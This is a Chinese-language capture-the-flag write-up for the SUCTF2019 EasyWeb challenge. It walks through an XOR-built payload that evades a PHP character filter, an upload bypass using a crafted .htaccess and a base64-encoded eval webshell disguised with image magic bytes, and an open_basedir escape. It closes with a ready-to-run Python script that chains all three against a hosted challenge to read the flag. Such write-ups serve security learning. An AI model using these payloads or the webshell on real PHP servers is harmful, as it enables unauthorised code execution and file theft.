SUCTF2019 EasyWeb
考察了3层内容
1.绕过正则匹配限制
$hhh = @$_GET['_'];
if (!$hhh){
highlight_file(__FILE__);
}
if(strlen($hhh)>18){
die('One inch long, one inch strong!');
}
if ( preg_match('/[\x00- 0-9A-Za-z\'"\`~_&.,|=[\x7F]+/i', $hhh) )
die('Try something else!');
$character_type = count_chars($hhh, 3);
if(strlen($character_type)>12) die("Almost there!");
eval($hhh);
要求传入的变量长度小于等于18而且匹配
首先对正则进行fuzz
<?php
for($i=32;$i<127;$i++){
$hhh=chr($i);
if (!preg_match('/[\x00- 0-9A-Za-z\'"\`~_&.,|=[\x7F]+/i', $hhh)) {
echo $hhh;
}
}
?>
//!#$%()*+-/:;<>?@\]^{}
得到了!#$%()*±/:;<>?@]^{}这些可用字符,于是可以利用
- php代码中没有引号的字符都自动作为字符串
- 利用异或产生字符串_GET
- php的花括号解析输入,来执行函数get_the_flag,最终payload
?_=${%fe%fe%fe%fe^%a1%b9%bb%aa}{%fe}();&%fe=get_the_flag
首先 %fe%fe%fe%fe^%a1%b9%bb%aa异或得到的内容是_GET,于是相当于${_GET}{%fe}();,而%fe又传入get_the_flag,于是变成
- ${_GET}{get_the_flag}();
从而完成对get_the_flag函数的调用
2.文件上传绕过
if(preg_match("/ph/i",$extension)) die("^_^");
黑名单考虑用.htaccess上传绕过
if(mb_strpos(file_get_contents($tmp_name), '<?')!==False) die("^_^");
对<?的匹配有2种绕过方式
- 一是<script language=“php”>eval($_GET[‘c’]);</script>
- 二是base64把程序编码,从而绕过对<?的匹配
这里使用第二种写法
if(!exif_imagetype($tmp_name)) die("^_^");
对文件类型的匹配参考了这篇文章,利用 \x00\x00\x8a\x39\x8a\x39开头来绕过
3绕过disable_function的限制
因为出题人disable_function的过滤不严,可以通过
chdir('xxx');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');var_dump(scandir('/'));
原因参考这篇文章
在var_dump里命令执行得到flag
预期解应该是利用php-fpm绕过open_basedir和disable_function,参考这篇文章
final
BUUCTF上复现环境的一键getflag脚本
import requests
import hashlib
import base64
url ="http://5e802d16-eb6f-4dd0-8c88-2435d45e1719.node3.buuoj.cn/" #need to be changed
padding = "?_=${%fe%fe%fe%fe^%a1%b9%bb%aa}{%fe}();&%fe=get_the_flag"
myip=requests.get("http://ifconfig.me").text
#因为在校园网环境ifconfig是本地ip,通过这个拿到公网ip
print(myip)
ip_md5 = hashlib.md5(myip.encode()).hexdigest()
userdir="upload/tmp_"+ip_md5+"/"
#上传位置
htaccess = b"""\x00\x00\x8a\x39\x8a\x39
AddType application/x-httpd-php .cc
php_value auto_append_file "php://filter/convert.base64-decode/resource=./shell.cc"
"""
shell = b"\x00\x00\x8a\x39\x8a\x39"+b"00"+ base64.b64encode(b"<?php eval($_GET['c']);?>")
#生成.htaccess和base64编码的shell文件
files =[('file',('.htaccess',htaccess,'image/jpeg'))]
data ={"upload":"Submit"}
res = requests.post(url=url+padding, data=data, files=files)
files = [('file',('shell.cc',shell,'image/jpeg'))]
res = requests.post(url=url+padding, data=data, files=files)
print("the path is:"+url+res.text)
#命令执行
cmd="?c=chdir(%27xxx%27);ini_set(%27open_basedir%27,%27..%27);chdir(%27..%27);chdir(%27..%27);chdir(%27..%27);chdir(%27..%27);ini_set(%27open_basedir%27,%27/%27);var_dump(file_get_contents(%27/THis_Is_tHe_F14g%27));"
final_res = requests.post(url=url+res.text+cmd)
print(final_res.text)
References
1.https://xz.aliyun.com/t/3937
2.https://xz.aliyun.com/t/4720
3https://xz.aliyun.com/t/5677
4https://www.cnblogs.com/BOHB-yunying/p/11520031.html